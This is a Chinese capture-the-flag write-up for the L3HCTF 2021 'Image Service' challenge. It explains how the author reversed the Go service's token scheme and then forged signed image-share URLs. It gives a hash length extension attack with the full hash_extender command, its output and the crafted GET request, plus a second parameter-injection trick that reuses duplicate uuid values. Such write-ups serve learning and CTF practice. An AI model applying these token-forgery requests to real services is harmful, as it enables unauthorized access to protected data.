L3HCTF2021 Image Service


记录自己的第一道re web

自己肝了很久肝出来了

然后题目解题数越来越多 逐渐沦为签到题

L3HCTF Image Service

首发于安全客

题目附件

  • 给了个docker

  • docker中分为4个服务

    version: "3"
    services:
      db:
        image: mysql
        environment:
          MYSQL_ROOT_PASSWORD: root
          MYSQL_ROOT_HOST: "%"
          MYSQL_DATABASE: "ctf"
        restart: always
        volumes:
          - "./init.sql:/docker-entrypoint-initdb.d/init.sql:ro"
        
      app:
        build: ./app
        environment:
          - APP_SECRET
          - DATABASE_URL
          - IMAGE_SERVICE_HOST
          - ADMIN_PASSWORD
        restart: always
      
      service:
        build: ./service
        environment:
          - APP_SECRET
        restart: always
    
      nginx:
        image: nginx
        restart: always
        ports:
          - "10001:10001"
          - "10002:10002"
        volumes:
          - "./nginx/nginx.conf:/etc/nginx/nginx.conf:ro"
          - "./nginx/html:/usr/share/nginx/html:ro"
    
  • service中有一个admin注册 上传 分享flag的脚本,可以帮助理解逻辑

  • service app 主程序均用go写的

测试功能

  • web服务站点由app提供服务 service提供类似于图床的服务

  • 发现用户可以注册登录,分享链接 查看他人的分享链接

  • 分享的链接带有token,不修改参数访问可返回结果,修改参数会返回token

  • 分享图片的时候可以选择对图片进行修改 包括 裁切 更改图片大小 高斯模糊 添加文字 文字颜色 文字大小 等

Image Service 1

查看他人分享的页面

输入admin 返回 Admin is available from localhost only

看了一下好像不存在ssrf或者请求走私

之后试了一下Admin 看到了flag

Image Service 2

分析

可以发现flag2是模糊的

看不清,可以从该分享链接的参数中发现原因

http://121.36.209.245:10002/get?blur=20&text=secret&textsize=50&token=782dd8dd3be70e52374f188814b561cecb4a26350729d924d6606c918bc803bd&uuid=e19d069a-652a-471d-8c83-79010b5aaf66&x1=200&y1=200

blur=20 是控制模糊的参数 而且已知不能更改

x1=200&y1=200 对图片进行了裁切 只能看到图片的一部分

text=secret 即为图片经过高斯模糊后覆盖的文字内容

应该要分析出token是怎么生成的,然后伪造token

程序

不会有web手不会用ida和gdb吧

ida打开 找到token函数 分析了一下 猜测会把 APP_SECRET 和所有请求参数拼接 然后sha256一下

但是这里看不出来如何拼接

所以还是要动调 service和app都调了一下

下个断点 拼接内容很容易就可以看出

大概如下

map[blur:[20] height:[1000] text:[] textcolor:[FFFFFF] textsize:[0] thumbnail:[false] uuid:[c314a3f2-1b14-40e6-8a9d-94acef8d1ac3] width:[1000] x0:[0] x1:[0] y0:[0] y1:[0]]

解法一 hash长度扩展攻击

原理

hash长度扩展攻击的基本场景:

网上很多讲的很难理解

简单来说 已知 messagehash(secret_key+message)

那么通过这种攻击手段 可以构造得到 message+一些奇怪的字符+自定义字符hash(secret_key+message+一些奇怪的字符+自定义字符)

实际场景可能比较复杂 可能涉及到一些解析漏洞,构造参数等,但是原理就是上面的

工具

hash_extender

输入

  • data 对应 message的
  • signature 对应 hash(secret_key+message)
  • secret 对应 secret_key的长度
  • append 对应 自定义字符
./hash_extender --data "map[blur:[20] text:[secret] textsize:[50] uuid:[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165] x1:[200] y1:[200]]" --secret 16 --append "] textcolor:[FFFFFF] textsize:[0] uuid:[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165] x1:[1000] y1:[1000]]" --signature "6332c92d31ee3effa8185d11035bdcaace30d3dbc8a937a38b8276f478fac740" --format sha256 

输出

  • New signature 对应 hash(secret_key+message+一些奇怪的字符+自定义字符)
  • New string 对应 message+一些奇怪的字符+自定义字符
Type: sha256
Secret length: 16
New signature: 11e37f66cbaba0d326359dca220ce44c3a1895adf5eb8a73900a4f68ce4588c8
New string: 6d61705b626c75723a5b32305d20746578743a5b7365637265745d207465787473697a653a5b35305d20757569643a5b62396266316137382d616530652d346234342d383566302d6531663037656465303136355d2078313a5b3230305d2079313a5b3230305d5d8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c05d2074657874636f6c6f723a5b4646464646465d207465787473697a653a5b305d20757569643a5b62396266316137382d616530652d346234342d383566302d6531663037656465303136355d2078313a5b313030305d2079313a5b313030305d5d

做题

根据上面的对应关系 使用工具

./hash_extender --data "map[blur:[20] text:[secret] textsize:[50] uuid:[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165] x1:[200] y1:[200]]" --secret 16 --append "] textcolor:[FFFFFF] textsize:[0] uuid:[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165] x1:[1000] y1:[1000]]" --signature "6332c92d31ee3effa8185d11035bdcaace30d3dbc8a937a38b8276f478fac740" --format sha256 

生成的内容 改一下请求再发包即可

GET /get?blur=20&text=secret]+textsize%3a[50]+uuid%3a[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165]+x1%3a[200]+y1%3a[200]]%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%c0&textcolor=FFFFFF&textsize=0&token=11e37f66cbaba0d326359dca220ce44c3a1895adf5eb8a73900a4f68ce4588c8&uuid=b9bf1a78-ae0e-4b44-85f0-e1f07ede0165&x1=1000&y1=1000 HTTP/1.1
Host: 121.36.209.245:10002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

构造上稍微需要一些技巧

此种解法无法获取清晰的flag 无法去掉blur参数 所以最后只能硬看flag

解法二 直接构造

此种解法来自与ha1师傅赛后讨论 ha1yyds

通过token借助题目生成token,再配合一下解析漏洞,此处的构造十分巧妙

flag2 uuid 3859089e-67cb-444d-9dfd-9c4b91b2f6c0
自己图片的uuid a4bf20a9-9b29-47db-87cd-57b384bf8f9e

生成share的时候

POST /api/share/new HTTP/1.1
Host: 121.36.209.245:10001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20510454632674357453543241695
Content-Length: 364
Origin: http://121.36.209.245:10001
Connection: close
Referer: http://121.36.209.245:10001/share
Cookie: session=MTYzNzAyNDgwMXxEdi1CQkFFQ180SUFBUkFCRUFBQUhQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUVkV2x1ZEFZQ0FBST18Sf7Kozgbni82LyMsTGy7ATR6aY5RaG1_aexev9UqkAw=

-----------------------------20510454632674357453543241695
Content-Disposition: form-data; name="text"

233] uuid:[3859089e-67cb-444d-9dfd-9c4b91b2f6c0 
-----------------------------20510454632674357453543241695
Content-Disposition: form-data; name="uuid"

a4bf20a9-9b29-47db-87cd-57b384bf8f9e
-----------------------------20510454632674357453543241695--

那么后面经过hash的内容为

map[text:[233] uuid:[3859089e-67cb-444d-9dfd-9c4b91b2f6c0 ] uuid:[a4bf20a9-9b29-47db-87cd-57b384bf8f9e]]

题目返回token

0b13728c6840122a52fa9ccd63838d1e847b4d7fccd0000414d38c42c2d33c21

此处构造与share原文一样的payload,获取图片

/get?text=233&uuid=3859089e-67cb-444d-9dfd-9c4b91b2f6c0&uuid=]+uuid%3a[a4bf20a9-9b29-47db-87cd-57b384bf8f9e&token=0b13728c6840122a52fa9ccd63838d1e847b4d7fccd0000414d38c42c2d33c21


文章作者: Carrot2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Carrot2 !
评论
  目录